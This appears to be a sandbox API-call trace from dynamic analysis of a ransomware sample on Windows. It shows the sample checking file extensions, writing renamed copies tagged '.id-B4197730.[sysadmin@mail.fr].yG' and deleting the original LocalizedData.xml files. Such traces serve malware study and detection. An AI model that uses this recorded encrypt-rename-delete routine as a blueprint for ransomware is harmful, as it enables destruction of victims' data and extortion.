	[0042.967] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString=".xlsx") returned 5
	[0042.967] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.967] lstrlenW (lpString=".ppt") returned 4
	[0042.967] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.967] lstrlenW (lpString=".zip") returned 4
	[0042.967] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.967] lstrlenW (lpString=".rar") returned 4
	[0042.967] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString=".bz2") returned 4
	[0042.967] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString=".7z") returned 3
	[0042.967] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.967] lstrlenW (lpString=".dbf") returned 4
	[0042.967] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.967] lstrlenW (lpString=".1cd") returned 4
	[0042.967] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.967] lstrlenW (lpString=".jpg") returned 4
	[0042.967] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.968] lstrlenW (lpString=".doc") returned 4
	[0042.968] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString=".docx") returned 5
	[0042.968] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.968] lstrlenW (lpString=".pdf") returned 4
	[0042.968] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString=".xls") returned 4
	[0042.968] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString=".xlsx") returned 5
	[0042.968] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.968] lstrlenW (lpString=".ppt") returned 4
	[0042.968] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.968] lstrlenW (lpString=".zip") returned 4
	[0042.968] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.968] lstrlenW (lpString=".rar") returned 4
	[0042.968] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString=".bz2") returned 4
	[0042.968] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString=".7z") returned 3
	[0042.968] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.968] lstrlenW (lpString=".dbf") returned 4
	[0042.968] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.968] lstrlenW (lpString=".1cd") returned 4
	[0042.968] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.968] lstrlenW (lpString=".jpg") returned 4
	[0042.968] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.969] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.969] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.969] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0043.048] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=79634) returned 1
	[0043.048] CloseHandle (hObject=0x35c) returned 1
	[0043.048] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80
	[0043.048] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.049] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0043.050] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.050] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.050] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0043.053] GetLastError () returned 0x0
	[0043.053] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x13712, lpOverlapped=0x0) returned 1
	[0043.134] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x13720, lpOverlapped=0x0) returned 1
	[0043.136] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.136] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.136] SetEndOfFile (hFile=0x35c) returned 1
	[0043.137] CloseHandle (hObject=0x35c) returned 1
	[0043.138] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.138] SetEndOfFile (hFile=0x2ec) returned 1
	[0043.139] CloseHandle (hObject=0x2ec) returned 1
	[0043.139] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.140] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1
	[0043.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.140] lstrlenW (lpString=".doc") returned 4
	[0043.140] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.140] lstrlenW (lpString=".docx") returned 5
	[0043.140] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.140] lstrlenW (lpString=".pdf") returned 4
	[0043.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.140] lstrlenW (lpString=".xls") returned 4
	[0043.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.140] lstrlenW (lpString=".xlsx") returned 5
	[0043.140] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.140] lstrlenW (lpString=".ppt") returned 4
	[0043.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.140] lstrlenW (lpString=".zip") returned 4
	[0043.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.140] lstrlenW (lpString=".rar") returned 4
	[0043.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.140] lstrlenW (lpString=".bz2") returned 4
	[0043.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString=".7z") returned 3
	[0043.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.141] lstrlenW (lpString=".dbf") returned 4
	[0043.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.141] lstrlenW (lpString=".1cd") returned 4
	[0043.141] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.141] lstrlenW (lpString=".jpg") returned 4
	[0043.141] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.141] lstrlenW (lpString=".doc") returned 4
	[0043.141] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString=".docx") returned 5
	[0043.141] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.141] lstrlenW (lpString=".pdf") returned 4
	[0043.141] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString=".xls") returned 4
	[0043.141] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString=".xlsx") returned 5
	[0043.141] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.141] lstrlenW (lpString=".ppt") returned 4
	[0043.141] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.141] lstrlenW (lpString=".zip") returned 4
	[0043.141] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.141] lstrlenW (lpString=".rar") returned 4
	[0043.141] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString=".bz2") returned 4
	[0043.141] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.141] lstrlenW (lpString=".7z") returned 3
	[0043.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.141] lstrlenW (lpString=".dbf") returned 4
	[0043.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.142] lstrlenW (lpString=".1cd") returned 4
	[0043.142] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0043.142] lstrlenW (lpString=".jpg") returned 4
	[0043.142] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.142] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0043.142] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0043.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0043.142] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=82374) returned 1
	[0043.142] CloseHandle (hObject=0x2ec) returned 1
	[0043.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80
	[0043.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0043.142] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.142] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0043.143] GetLastError () returned 0x0
	[0043.143] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x141c6, lpOverlapped=0x0) returned 1
	[0043.434] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x141d0, lpOverlapped=0x0) returned 1
	[0043.437] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.437] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.437] SetEndOfFile (hFile=0x35c) returned 1
	[0043.438] CloseHandle (hObject=0x35c) returned 1
	[0043.439] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.439] SetEndOfFile (hFile=0x2ec) returned 1
	[0043.440] CloseHandle (hObject=0x2ec) returned 1
	[0043.440] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.441] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1
	[0043.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.441] lstrlenW (lpString=".doc") returned 4
	[0043.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.441] lstrlenW (lpString=".docx") returned 5
	[0043.441] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.441] lstrlenW (lpString=".pdf") returned 4
	[0043.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.441] lstrlenW (lpString=".xls") returned 4
	[0043.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.441] lstrlenW (lpString=".xlsx") returned 5
	[0043.441] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.441] lstrlenW (lpString=".ppt") returned 4
	[0043.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.441] lstrlenW (lpString=".zip") returned 4
	[0043.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.441] lstrlenW (lpString=".rar") returned 4
	[0043.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.441] lstrlenW (lpString=".bz2") returned 4
	[0043.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.441] lstrlenW (lpString=".7z") returned 3
	[0043.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString=".dbf") returned 4
	[0043.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString=".1cd") returned 4
	[0043.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString=".jpg") returned 4
	[0043.442] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString=".doc") returned 4
	[0043.442] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString=".docx") returned 5
	[0043.442] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.442] lstrlenW (lpString=".pdf") returned 4
	[0043.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString=".xls") returned 4
	[0043.442] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString=".xlsx") returned 5
	[0043.442] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.442] lstrlenW (lpString=".ppt") returned 4
	[0043.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString=".zip") returned 4
	[0043.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.442] lstrlenW (lpString=".rar") returned 4
	[0043.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString=".bz2") returned 4
	[0043.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString=".7z") returned 3
	[0043.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString=".dbf") returned 4
	[0043.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.442] lstrlenW (lpString=".1cd") returned 4
	[0043.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0043.443] lstrlenW (lpString=".jpg") returned 4
	[0043.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.443] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0043.443] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0043.443] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0043.443] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=77680) returned 1
	[0043.443] CloseHandle (hObject=0x2ec) returned 1
	[0043.443] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80
	[0043.443] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.443] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0043.443] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.443] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.443] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0043.444] GetLastError () returned 0x0
	[0043.444] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x12f70, lpOverlapped=0x0) returned 1
	[0043.751] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x12f80, lpOverlapped=0x0) returned 1
	[0043.752] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.752] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.752] SetEndOfFile (hFile=0x35c) returned 1
	[0043.753] CloseHandle (hObject=0x35c) returned 1
	[0043.754] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.754] SetEndOfFile (hFile=0x2ec) returned 1
	[0043.755] CloseHandle (hObject=0x2ec) returned 1
	[0043.755] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.756] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1
	[0043.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.756] lstrlenW (lpString=".doc") returned 4
	[0043.756] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.756] lstrlenW (lpString=".docx") returned 5
	[0043.756] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.756] lstrlenW (lpString=".pdf") returned 4
	[0043.756] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.756] lstrlenW (lpString=".xls") returned 4
	[0043.756] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.756] lstrlenW (lpString=".xlsx") returned 5
	[0043.756] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.756] lstrlenW (lpString=".ppt") returned 4
	[0043.756] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.756] lstrlenW (lpString=".zip") returned 4
	[0043.756] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.756] lstrlenW (lpString=".rar") returned 4
	[0043.756] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.756] lstrlenW (lpString=".bz2") returned 4
	[0043.756] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.756] lstrlenW (lpString=".7z") returned 3
	[0043.756] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString=".dbf") returned 4
	[0043.757] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString=".1cd") returned 4
	[0043.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString=".jpg") returned 4
	[0043.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString=".doc") returned 4
	[0043.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString=".docx") returned 5
	[0043.757] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.757] lstrlenW (lpString=".pdf") returned 4
	[0043.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
